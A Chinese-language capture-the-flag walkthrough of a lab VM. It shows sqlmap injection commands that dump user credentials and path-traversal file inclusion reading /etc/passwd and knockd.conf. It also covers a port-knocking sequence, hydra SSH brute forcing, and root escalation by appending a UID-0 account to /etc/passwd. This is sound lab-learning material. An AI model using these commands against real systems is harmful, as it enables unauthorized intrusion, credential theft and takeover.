总结:sql注入,端口敲门,覆盖passwd提权

先扫一下c段

image-20230414173216143

发现主机,然后进行端口扫描

image-20230414173411019

还是着两个常规端口

image-20230414173519934

这就是上面state的解释

简单来说就是不知道22端口是开的还是关的

于是我们就去尝试一下访问80端口

image-20230414173658881

发现一个网站,但是不是一个cms

于是我们就开始探索网站,看存在哪些可以利用的地方

image-20230414173849111

image-20230414173859531

上面的sql语句会把下面的内容给爆出来,所以就是说这个地方存在sql漏洞,那么我们就可以进行sqlmap查看

1
2
3
4
sqlmap -u "http://192.168.1.10/results.php" --data "search=1" --dbs --batch
sqlmap -u "http://192.168.1.10/results.php" --data "search=1" -D "Staff" --tables --dbs --batch
sqlmap -u "http://192.168.1.10/results.php" --data "search=1" -D "Staff" -T "Users" --columns --dbs --batch
sqlmap -u "http://192.168.142.136/results.php" --data "search=1" -D "Staff" -T "Users" -C "Username","Password" --dump --dbs

image-20230414174311321

1
2
3
这里我们就得到了admin的密码了

admin:transorbital1

然后进行登录

image-20230414174618993

成功进行登录

文件包含

有个提示:File does not exist 显示文件不存在 通过测试 发现 可能是文件包含漏洞发现这里得用户和刚刚数据库里的用户有些一样的

image-20230414174903776

成功读取,说明这里存在文件包含

image-20230414175012672

这里知道不少用户的账号, 而且都是/bin/bash,但是说22端口不知道是有没有开启的,然后吧,咱们又不知道干什么了。看看其他人的,这里我们就知道要去查看linux中的任务。

1
2
//查看linux的任务
http://靶机ip/welcome.php?file=../../../../../../proc/sched_debug

这里因为太乱了没有排序,这里教给大家一个好方法,这里直接ctrl+u直接查看源代码,他就会自动给我们排列了。

image-20230414175829926

这里发现了这个knockd服务

然后我们就去查看他的配置文件

1
http://靶机ip/welcome.php?file=../../../../../../etc/knockd.conf

image-20230414175946047

那么这里就涉及到一个新的知识点了

端口敲门

这里分析一下这个配置文件,在按循序访问了这个三个端口,linux防火墙就不会防我们了,iptables就是linux设置防火墙的命令,这里给大家推荐一个博客,看完也就理解端口敲门是用来看什么的了Web端口敲门的奇思妙想 端口敲门

所以敲门密码我们从哪获取呢,就是通过访问knock服务的配置文件,然后从中获取

image-20230414181653673

配置文件中给我们提供了

1
2
3
4
5
6
7
nmap -sS 靶机ip -p 7469
nmap -sS 靶机ip -p 8475
nmap -sS 靶机ip -p 9842

//这里有一个工具也是可以的,但是感觉很慢
//没有需要自己下,apt install knockd
knock 靶机ip 7469 8475 9842

image-20230414181856542

发现ssh端口成功打开

利用sqlmap查到的全部用户名和密码

1
sqlmap -u "http://192.168.142.136/results.php" --data "search=1" -D users -T UserDetails --dump

image-20230414182229536

于是进行ssh爆破,利用之前用到的工具,hydra

因为不知道哪些用户能进行ssh登录

发现了三个用户分别是 joeyt Passw0rdjanitor Ilovepeepeechandlerb UrAG0d

image-20230414183153111

使用命令:ssh joeyt@192.168.142.136 (这里ip自动获取了不用在意一样的)等三个用户都进行登入看看有没有什么隐藏的信息

image-20230414183205288

image-20230414183129965

image-20230414183411763

发现存在一个密码,那么我们就拿这些密码添加到用来爆破的字典里,看还能不能再爆破出来一些可登录的账号密码

1
hydra -L user.txt -P pass.txt ssh://192.168.142.136

image-20230414183714258

发现一个新账号 于是进行登录

image-20230414183837607

登录成功

提权

还是老三样

suid sudo -l 内核提权

image-20230414183955956

访问这个目录进行查看这是什么东西

image-20230414184127144

发现这个test是一个python文件

那么我们就得去找这个test.py文件

看看他为什么能进行提权

1
使用命令:find / -name test.py 2>/dev/null 查找python文件 进行查看

image-20230414200337779

发现这个test.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

大概的就是将参数1的内容写到参数2中然后生成一个用户

1
2
3
4
5
6
7
8
9
10
11
12
13
//使用openssl命令
openssl passwd -1 -salt hahaha 123456
生成$1$hahaha$hSxFjZSHRoiEn4DYrrGUI.

//因为没有权限先来到tmp
echo 'hahaha:$1$hahaha$hSxFjZSHRoiEn4DYrrGUI.:0:0::/root/:/bin/bash' >> passwd

//这里使用test
sudo /opt/devstuff/dist/test/test passwd /etc/passwd
//这里执行的test.py是 将/tmp下的用户添加到/etc/passwd下

//然后替换到hahaha用户,密码123456
su hahaha

openssl命令的解释

image-20230414204810615

image-20230414205017910

④:就是/etc/passwd 的格式 这个不了解的话最好一步提权很容易错的
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
(”x” 表示此用户设有密码,但不是真正的密码,真正的密码保存在 /etc/shadow 文件中
允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)